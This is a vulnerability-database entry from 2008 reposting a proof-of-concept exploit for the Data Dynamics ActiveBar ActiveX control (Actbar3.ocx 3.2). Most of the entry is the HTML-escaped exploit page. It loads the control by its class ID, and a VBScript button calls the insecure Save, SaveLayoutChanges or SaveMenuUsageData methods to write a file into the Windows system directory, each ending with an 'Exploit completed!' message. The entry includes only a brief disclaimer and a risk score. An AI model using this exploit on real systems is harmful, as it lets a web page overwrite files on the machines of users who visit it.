Data Dynamics ActiveBar (Actbar3.ocx 3.2) Multiple Insecure Methods

🗓️ 08 Apr 2008 00:00:00Reported by RootType

Data Dynamics ActiveBar (Actbar3.ocx 3.2) Multiple Insecure Methods vulnerability on http://www.datadynamics.com by author shinnai. Educational purpose only. Use leads to risk


                                                &lt;pre&gt;
&lt;code&gt;&lt;span&nbsp;style=&quot;font:&nbsp;10pt&nbsp;Courier&nbsp;New;&quot;&gt;&lt;span&nbsp;class=&quot;general1-symbol&quot;&gt;&lt;body&nbsp;bgcolor=&quot;#E0E0E0&quot;&gt;------------------------------------------------------------------------------------
&nbsp;&lt;b&gt;Data&nbsp;Dynamics&nbsp;ActiveBar&nbsp;ActiveX&nbsp;Control&nbsp;(Actbar3.ocx&nbsp;3.2)&nbsp;Multiple&nbsp;Inscure&nbsp;Methods&lt;/b&gt;
&nbsp;url:&nbsp;http://www.datadynamics.com

&nbsp;author:&nbsp;shinnai
&nbsp;mail:&nbsp;shinnai[at]autistici[dot]org
&nbsp;site:&nbsp;http://shinnai.altervista.org
&nbsp;
&nbsp;&lt;b&gt;&lt;font&nbsp;color='red'&gt;This&nbsp;was&nbsp;written&nbsp;for&nbsp;educational&nbsp;purpose.&nbsp;Use&nbsp;it&nbsp;at&nbsp;your&nbsp;own&nbsp;risk.
&nbsp;Author&nbsp;will&nbsp;be&nbsp;not&nbsp;responsible&nbsp;for&nbsp;any&nbsp;damage.&lt;/font&gt;&lt;/b&gt;
------------------------------------------------------------------------------------

&lt;object&nbsp;classid='clsid:5407153D-022F-4CD2-8BFF-465569BC5DB8'&nbsp;id='test'&gt;&lt;/object&gt;

&lt;select&nbsp;style=&quot;width:&nbsp;404px&quot;&nbsp;name=&quot;Pucca&quot;&gt;
&nbsp;&nbsp;&lt;option&nbsp;value&nbsp;=&nbsp;&quot;Save&quot;&gt;Save&lt;/option&gt;
&nbsp;&nbsp;&lt;option&nbsp;value&nbsp;=&nbsp;&quot;SaveLayoutChanges&quot;&gt;SaveLayoutChanges&lt;/option&gt;

&nbsp;&nbsp;&lt;option&nbsp;value&nbsp;=&nbsp;&quot;SaveMenuUsageData&quot;&gt;SaveMenuUsageData&lt;/option&gt;
&lt;/select&gt;

&lt;input&nbsp;language=VBScript&nbsp;onclick=tryMe()&nbsp;type=button&nbsp;value=&quot;Click&nbsp;here&nbsp;to&nbsp;start&nbsp;the&nbsp;test&quot;&gt;

&lt;script&nbsp;language='vbscript'&gt;
&nbsp;Sub&nbsp;tryMe
&nbsp;&nbsp;on&nbsp;error&nbsp;resume&nbsp;next
&nbsp;&nbsp;&nbsp;Dim&nbsp;MyMsg
&nbsp;&nbsp;&nbsp;if&nbsp;Pucca.value&nbsp;=&nbsp;&quot;Save&quot;&nbsp;then
&nbsp;&nbsp;&nbsp;&nbsp;test.Save&nbsp;&quot;&quot;,&nbsp;&quot;c:\windows\system_.ini&quot;,&nbsp;1
&nbsp;&nbsp;&nbsp;&nbsp;MyMsg&nbsp;=&nbsp;MsgBox(&quot;Exploit&nbsp;completed!&quot;)
&nbsp;&nbsp;&nbsp;elseif&nbsp;Pucca.value&nbsp;=&nbsp;&quot;SaveLayoutChanges&quot;&nbsp;then
&nbsp;&nbsp;&nbsp;&nbsp;test.SaveLayoutChanges&nbsp;&quot;c:\windows\system_.ini&quot;,&nbsp;1
&nbsp;&nbsp;&nbsp;&nbsp;MyMsg&nbsp;=&nbsp;MsgBox(&quot;Exploit&nbsp;completed!&quot;)
&nbsp;&nbsp;&nbsp;elseif&nbsp;Pucca.value&nbsp;=&nbsp;&quot;SaveMenuUsageData&quot;&nbsp;then
&nbsp;&nbsp;&nbsp;&nbsp;test.SaveMenuUsageData&nbsp;&quot;c:\windows\system_.ini&quot;,&nbsp;1
&nbsp;&nbsp;&nbsp;&nbsp;MyMsg&nbsp;=&nbsp;MsgBox(&quot;Exploit&nbsp;completed!&quot;)
&nbsp;&nbsp;&nbsp;end&nbsp;if

&nbsp;End&nbsp;Sub
&lt;/script&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

08 Apr 2008 00:00Current

7.1High risk

Vulners AI Score7.1